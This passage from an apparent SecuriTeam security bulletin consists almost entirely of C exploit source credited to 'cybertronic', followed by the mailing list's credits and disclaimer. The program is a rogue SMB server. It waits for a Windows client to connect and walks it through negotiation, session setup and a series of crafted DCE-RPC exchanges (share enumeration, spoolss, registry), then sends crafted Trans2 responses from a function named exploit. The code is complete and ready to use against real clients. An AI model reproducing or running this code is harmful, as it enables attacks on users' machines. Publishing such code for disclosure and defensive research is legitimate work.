    if ( str[120 + i] < 0 )
    {
    if ( ( str[120 + i] + 0x100 ) == wks_uuid[i] )
    { wks++; j = 1; }
    if ( ( str[120 + i] + 0x100 ) == srv_uuid[i] )
    { srv++; j = 1; }
    if ( ( str[120 + i] + 0x100 ) == spl_uuid[i] )
    { spl++; j = 1; }
    if ( ( str[120 + i] + 0x100 ) == wrg_uuid[i] )
    { wrg++; j = 1; }
    if ( j == 0 )
    foo++;
    }
    else
    {
    if ( str[120 + i] == wks_uuid[i] )
    { wks++; j = 1; }
    if ( str[120 + i] == srv_uuid[i] )
    { srv++; j = 1; }
    if ( str[120 + i] == spl_uuid[i] )
    { spl++; j = 1; }
    if ( str[120 + i] == wrg_uuid[i] )
    { wrg++; j = 1; }
    if ( j == 0 )
    foo++;
    }
    }
    if ( wks == 16 )
    return ( 0 );
    else if ( srv == 16 )
    return ( 1 );
    else if ( spl == 16 )
    return ( 2 );
    else if ( wrg == 16 )
    return ( 3 );
    else
    {
    printf ( "there is/are %d invalid byte(s) in the interface UUID!\n", foo
    );
    return ( -1 );
    }
    }

    void
    neg ( int s )
    {
    char response[1024];

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    send ( s, SmbNeg, sizeof ( SmbNeg ) -1, 0 );
    }

    void
    sessionsetup ( int s, unsigned long userid, unsigned long treeid, int
    option )
    {
    char response[1024];
    unsigned char ntlm_challenge1[] = "\xa2\x75\x1b\x10\xe7\x62\xb0\xc3";
    unsigned char ntlm_challenge2[] = "\xe1\xed\x43\x66\xc7\xa7\x36\xbd";

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "SessionSetupAndXNeg\n" );
    SessionSetupAndXNeg[30] = response[30];
    SessionSetupAndXNeg[31] = response[31];
    SessionSetupAndXNeg[34] = response[34];
    SessionSetupAndXNeg[35] = response[35];

    strncpy ( SessionSetupAndXNeg + 32, ( unsigned char* ) &userid, 2 );
    if ( option == 0 )
    memcpy ( SessionSetupAndXNeg + 71, ntlm_challenge1, 8 );
    else
    memcpy ( SessionSetupAndXNeg + 71, ntlm_challenge2, 8 );

    send ( s, SessionSetupAndXNeg, sizeof ( SessionSetupAndXNeg ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "SessionSetupAndXAuth\n" );
    SessionSetupAndXAuth[30] = response[30];
    SessionSetupAndXAuth[31] = response[31];
    SessionSetupAndXAuth[34] = response[34];
    SessionSetupAndXAuth[35] = response[35];

    strncpy ( SessionSetupAndXAuth + 32, ( unsigned char* ) &userid, 2 );

    send ( s, SessionSetupAndXAuth, sizeof ( SessionSetupAndXAuth ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "TreeConnectAndX\n" );
    TreeConnectAndX[30] = response[30];
    TreeConnectAndX[31] = response[31];
    TreeConnectAndX[34] = response[34];
    TreeConnectAndX[35] = response[35];

    strncpy ( TreeConnectAndX + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( TreeConnectAndX + 32, ( unsigned char* ) &userid, 2 );

    send ( s, TreeConnectAndX, sizeof ( TreeConnectAndX ) -1, 0 );
    }

    void
    digg ( int s, unsigned long fid, unsigned long assocgroup, unsigned
    long userid, unsigned long treeid, int option )
    {
    int ret;
    char response[1024];
    unsigned char srv[] = "\x73\x72\x76";
    unsigned char wks[] = "\x77\x6b\x73";

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "SmbNtCreate\n" );
    SmbNtCreate[30] = response[30];
    SmbNtCreate[31] = response[31];
    SmbNtCreate[34] = response[34];
    SmbNtCreate[35] = response[35];

    strncpy ( SmbNtCreate + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( SmbNtCreate + 32, ( unsigned char* ) &userid, 2 );
    strncpy ( SmbNtCreate + 42, ( unsigned char* ) &fid, 2 );

    send ( s, SmbNtCreate, sizeof ( SmbNtCreate ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "DceRpc\n" );
    DceRpc[30] = response[30];
    DceRpc[31] = response[31];
    DceRpc[34] = response[34];
    DceRpc[35] = response[35];

    strncpy ( DceRpc + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( DceRpc + 32, ( unsigned char* ) &userid, 2 );
    strncpy ( DceRpc + 80, ( unsigned char* ) &assocgroup, 2 );

    ret = check_interface ( response );
    if ( ret == 0 )
    memcpy ( DceRpc + 92, wks, 3 );
    else if ( ret == 1 )
    memcpy ( DceRpc + 92, srv, 3 );
    else if ( ret == 2 );
    else if ( ret == 3 );
    else
    {
    printf ( "invalid interface uuid, aborting...\n" );
    exit ( 1 );
    }

    send ( s, DceRpc, sizeof ( DceRpc ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    if ( option == 1 )
    {
    printf ( "NetrShareEnum\n" );
    NetrShareEnum[30] = response[30];
    NetrShareEnum[31] = response[31];
    NetrShareEnum[34] = response[34];
    NetrShareEnum[35] = response[35];

    strncpy ( NetrShareEnum + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( NetrShareEnum + 32, ( unsigned char* ) &userid, 2 );

    send ( s, NetrShareEnum, sizeof ( NetrShareEnum ) -1, 0 );
    }
    else if ( ( option == 2 ) && ( ret == 2 ) )
    {
    printf ( "OpenPrinterEx\n" );
    OpenPrinterEx[30] = response[30];
    OpenPrinterEx[31] = response[31];
    OpenPrinterEx[34] = response[34];
    OpenPrinterEx[35] = response[35];

    strncpy ( OpenPrinterEx + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( OpenPrinterEx + 32, ( unsigned char* ) &userid, 2 );

    send ( s, OpenPrinterEx, sizeof ( OpenPrinterEx ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "ClosePrinter\n" );
    ClosePrinter[30] = response[30];
    ClosePrinter[31] = response[31];
    ClosePrinter[34] = response[34];
    ClosePrinter[35] = response[35];

    strncpy ( ClosePrinter + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( ClosePrinter + 32, ( unsigned char* ) &userid, 2 );

    send ( s, ClosePrinter, sizeof ( ClosePrinter ) -1, 0 );
    }
    else if ( ( option == 3 ) && ( ret == 3 ) )
    {
    printf ( "OpenHklm\n" );
    OpenHklm[30] = response[30];
    OpenHklm[31] = response[31];
    OpenHklm[34] = response[34];
    OpenHklm[35] = response[35];

    strncpy ( OpenHklm + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( OpenHklm + 32, ( unsigned char* ) &userid, 2 );

    send ( s, OpenHklm, sizeof ( OpenHklm ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "OpenKey\n" );
    OpenKey[30] = response[30];
    OpenKey[31] = response[31];
    OpenKey[34] = response[34];
    OpenKey[35] = response[35];

    strncpy ( OpenKey + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( OpenKey + 32, ( unsigned char* ) &userid, 2 );

    send ( s, OpenKey, sizeof ( OpenKey ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "CloseKey\n" );
    CloseKey[30] = response[30];
    CloseKey[31] = response[31];
    CloseKey[34] = response[34];
    CloseKey[35] = response[35];

    strncpy ( CloseKey + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( CloseKey + 32, ( unsigned char* ) &userid, 2 );

    send ( s, CloseKey, sizeof ( CloseKey ) -1, 0 );
    }
    else if ( option == 4 )
    {
    printf ( "NetBios1\n" );
    NetBios1[30] = response[30];
    NetBios1[31] = response[31];
    NetBios1[34] = response[34];
    NetBios1[35] = response[35];

    strncpy ( NetBios1 + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( NetBios1 + 32, ( unsigned char* ) &userid, 2 );

    send ( s, NetBios1, sizeof ( NetBios1 ) -1, 0 );
    }
    else
    {
    if ( ret == 0 )
    {
    printf ( "WksSvc\n" );
    WksSvc[30] = response[30];
    WksSvc[31] = response[31];
    WksSvc[34] = response[34];
    WksSvc[35] = response[35];

    strncpy ( WksSvc + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( WksSvc + 32, ( unsigned char* ) &userid, 2 );

    send ( s, WksSvc, sizeof ( WksSvc ) -1, 0 );
    }
    else
    {
    printf ( "SrvSvc\n" );
    SrvSvc[30] = response[30];
    SrvSvc[31] = response[31];
    SrvSvc[34] = response[34];
    SrvSvc[35] = response[35];

    strncpy ( SrvSvc + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( SrvSvc + 32, ( unsigned char* ) &userid, 2 );

    send ( s, SrvSvc, sizeof ( SrvSvc ) -1, 0 );
    }
    }

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "SmbClose\n" );
    SmbClose[30] = response[30];
    SmbClose[31] = response[31];
    SmbClose[34] = response[34];
    SmbClose[35] = response[35];

    strncpy ( SmbClose + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( SmbClose + 32, ( unsigned char* ) &userid, 2 );

    send ( s, SmbClose, sizeof ( SmbClose ) -1, 0 );
    }

    void
    exploit ( int s, unsigned long fid, unsigned long assocgroup, unsigned
    long userid, unsigned long treeid )
    {
    char response[1024];

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "NetBios2\n" );
    NetBios2[30] = response[30];
    NetBios2[31] = response[31];
    NetBios2[34] = response[34];
    NetBios2[35] = response[35];

    strncpy ( NetBios2 + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( NetBios2 + 32, ( unsigned char* ) &userid, 2 );

    send ( s, NetBios2, sizeof ( NetBios2 ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "Trans2Response1\n" );
    Trans2Response1[30] = response[30];
    Trans2Response1[31] = response[31];
    Trans2Response1[34] = response[34];
    Trans2Response1[35] = response[35];

    strncpy ( Trans2Response1 + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( Trans2Response1 + 32, ( unsigned char* ) &userid, 2 );

    send ( s, Trans2Response1, sizeof ( Trans2Response1 ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "Trans2Response2\n" );
    Trans2Response2[30] = response[30];
    Trans2Response2[31] = response[31];
    Trans2Response2[34] = response[34];
    Trans2Response2[35] = response[35];

    strncpy ( Trans2Response2 + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( Trans2Response2 + 32, ( unsigned char* ) &userid, 2 );

    send ( s, Trans2Response2, sizeof ( Trans2Response2 ) -1, 0 );

    bzero ( &response, sizeof ( response ) );
    recv ( s, response, sizeof ( response ) -1, 0 );

    printf ( "Trans2Response3\n" );
    Trans2Response3[30] = response[30];
    Trans2Response3[31] = response[31];
    Trans2Response3[34] = response[34];
    Trans2Response3[35] = response[35];

    strncpy ( Trans2Response3 + 28, ( unsigned char* ) &treeid, 2 );
    strncpy ( Trans2Response3 + 32, ( unsigned char* ) &userid, 2 );

    send ( s, Trans2Response3, sizeof ( Trans2Response3 ) -1, 0 );
    }

    int
    main ( int argc, char* argv[] )
    {
    int s1, s2, i;
    unsigned long fid = 0x1337;
    unsigned long treeid = 0x0808;
    unsigned long userid = 0x0808;
    unsigned long assocgroup = 0x4756;
    pid_t childpid;
    socklen_t clilen;
    struct sockaddr_in cliaddr, servaddr;

    bzero ( &servaddr, sizeof ( servaddr ) );
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
    servaddr.sin_port = htons ( PORT );

    s1 = socket ( AF_INET, SOCK_STREAM, 0 );
    bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
    listen ( s1, 1 );

    clilen = sizeof ( cliaddr );

    s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen );

    close ( s1 );

    printf ( "\n%s\n\n", inet_ntoa ( cliaddr.sin_addr ) );

    neg ( s2 ); // Negotiate
    sessionsetup ( s2, userid, treeid, 0 ); // SessionSetup
    for ( i = 0; i < 15; i++ )
    {
    digg ( s2, fid, assocgroup, userid, treeid, 0 );
    fid++;
    assocgroup ++;
    }
    digg ( s2, fid, assocgroup, userid, treeid, 1 ); // NetrShareEnum
    fid++;
    assocgroup ++;
    digg ( s2, fid, assocgroup, userid, treeid, 2 ); // spoolss
    fid++;
    assocgroup ++;
    for ( i = 0; i < 4; i++ )
    {
    digg ( s2, fid, assocgroup, userid, treeid, 0 );
    fid++;
    assocgroup ++;
    }
    digg ( s2, fid, assocgroup, userid, treeid, 3 ); // WinReg
    userid++;
    treeid++;
    sessionsetup ( s2, userid, treeid, 1 ); // SessionSetup
    userid--;
    treeid--;
    for ( i = 0; i < 2; i++ )
    {
    digg ( s2, fid, assocgroup, userid, treeid, 4 ); // NetBios
    fid++;
    assocgroup ++;
    }
    treeid += 2;
    exploit ( s2, fid, assocgroup, userid, treeid );

    printf ( "done!\n" );

    close ( s2 );
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:cybertronic@gmx[dot]net>
    cybertronic.
    The original article can be found at:
    <http://www.livejournal.com/users/cybertronic/>
    http://www.livejournal.com/users/cybertronic/

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Stream/raped DoS"

    Relevant Pages